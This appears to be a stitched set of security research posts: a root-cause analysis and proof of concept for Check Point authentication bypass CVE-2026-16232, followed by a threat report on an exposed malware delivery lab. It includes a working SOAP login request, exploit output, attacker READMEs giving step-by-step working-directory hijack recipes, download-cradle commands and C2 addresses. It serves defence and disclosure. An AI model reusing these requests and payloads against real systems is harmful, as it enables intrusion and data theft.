        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)

The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below. 

// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}

The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:

POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <l:loginNew>
      <d:loginRequest>
        <d:applicationName>SmartConsole</d:applicationName>
        <d:domain>a0eebc99-afed-4ef8-bb6d-fedfedfedfed</d:domain>
        <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
          <d:username>system_admin</d:username>
          <d:SSOToken>512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e</d:SSOToken>
        </d:authenticationInfo>
      </d:loginRequest>
    </l:loginNew>
  </soap:Body>
</soap:Envelope>

The loginNew response returns the two identifiers that SmartConsole uses for later requests:

<loginNewResponse>
  <return>
    <clientSessionId>ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI</clientSessionId>
    <sid>hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg</sid>
  </return>
</loginNewResponse>

At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.

Figure 2: Audit Log IOC.

Exploitation

Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .

The following shows our PoC running against a vulnerable R81.20 target.

$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.

First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information

The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.

Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.

Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.

$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.

Overview

On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.

Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.

The advisory addresses three vulnerabilities in total:

Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.

Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.

Technical analysis

On July 28, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-16232. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to login to a vulnerable appliance via SmartConsole with full admin privileges.

Mitigation guidance

Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.

The following versions are affected by CVE-2026-16232:

• R82.10: fixed in Jumbo Hotfix Take 36 and later

• R82: fixed in Jumbo Hotfix Take 118 and later

• R81.20: fixed in Jumbo Hotfix Take 158 and later

• R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified

CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.

Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:

• Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets

• Protect Management access with a firewall and restrict access to trusted IP addresses

• Verify that implied rules for control connections are enabled

These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.

Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks available in the 24 July content release.

Indicators of compromise

Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:

• 151.241.99[.]207

• 151.241.99[.]233

• 158.62.198[.]182

• 192.142.10[.]99

• 139.28.37[.]250

• 194.213.18[.]137

Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.

Updates

• July 23, 2026: Initial publication.
• July 24, 2026: Updated to reflect availability of vulnerability checks.
• July 28, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

• Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

• Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

• Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the final payload was PureRAT 4.4.3, a .NET-based information stealer and remote access trojan.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

⠀

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

